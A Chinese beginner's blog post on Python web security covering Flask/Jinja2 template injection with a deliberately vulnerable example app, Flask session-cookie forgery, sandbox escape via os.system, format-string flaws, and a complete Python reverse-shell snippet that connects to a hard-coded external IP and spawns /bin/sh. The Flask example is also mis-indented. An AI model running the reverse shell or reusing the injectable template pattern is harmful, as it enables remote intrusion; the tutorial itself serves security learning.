干货-python与安全(一)入门简介

2020-07-27 16:22:18 浏览数 (1)

此文章为原创连载文章,关注公众号,持续更新。

前言

我会开始写一些关于python的安全文章,都是自己学习时候的笔记。大部分的安全学习者的python语法功底都不是很好,我会在这里记录我的学习笔记供大家参考,希望可以帮助一些人更好的学习python。

flask/jinja2 SSTI

当攻击者将模板指令作为用户输入注入可以在服务器上执行任意代码的服务器端时,可以进行服务器端模板注入。如果您碰巧查看网页的源代码并查看下面的代码片段,那么可以安全地猜测该应用程序正在使用某些模板引擎来呈现数据。

代码语言:javascript复制
from flask import Flask,request,render_template_string
app=Flask(__name__)
app.secret_key='ctf{flag_in_this}'

@app.route('/')
def index():
   search=request.args.get('search') or None
  
template='''
<p>hello world</p>
{}
'''.format(search)
return render_template_string(template)

开发人员希望从名为get的请求get中回显,并渲染到基于烧瓶(flask)的函数render_template_string。

我们可以通过在参数搜索中添加{{7 * 7}}来指示可能的SSTI,我们可以看到模板引擎评估了数学表达式,并且应用程序响应49。

这个是python比较出名的安全问题。也是比较难搞的东西。

原理很简单,过程很难堪(构造payload的时候简直了......)。(又菜又想自己构造)

flask session

默认情况下,Flask会使用名为“signed cookies”的一种机制,这是在客户端(而非服务端)存储当前会话(session)数据的一种简单方式,使其(从理论上)无法被篡改。

Session数据分为会话数据,时间戳,加密哈希。

会话数据只是经过base64编码的字符串。我们使用itsdangerous的base64解码器对其进行解码,便可以得到和伪造。

时间戳可以告诉服务端数据最后一次更新的时间。

加密哈希就是让cookie变得“安全”的字段。服务器向我们发送最新的会话数据之前,会结合我们的会话数据、当前时间戳以及服务器的私钥来计算sha1哈希。

python沙盒逃逸

Python沙盒逃逸其实就是绕过限制用一些危险函数或终端来达到我们的目的。

思路和SSTI差不多,import或者各种姿势找到危险函数,个人构造。

比如os模块

代码语言:javascript复制
import os
os.system('ls')
os.popen('ls')

关于其他的我会在以后的文章分享。

Python格式化字符串问题

这个很简单,主要是开发者代码不规范才导致的。比如%操作符 沿袭了C语言中printf语句的风格。

可能感觉问题不大,但是和其他漏洞结合起来危害就很大(嘿嘿...不要小看它)。

shell反弹

在这里我直接引用的P神的话。

代码语言:javascript复制
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。

PS:

Python中还有很多其他的安全问题。比如SQL注入,CSRF,文件包含,文件上传。这些我都会在后面提到。安全之路,任重而道远,我们要学习的还有很多。

最后:

上面我写的都是一些基础介绍,希望你可以简单了解。我在写每个学习笔记的时候会举例一些比赛中的题目,这样就可以自己跟着操作一下,实践和理论相结合才有助于我们的理解。大部分web安全入门都是先学php,python的很多漏洞和php的漏洞原理差不多,如果你学过php安全,那入门python安全就很好学习了。

希望我写的文章可以对你的进步有所帮助。如果有错误的地方还请指出来。

0 人点赞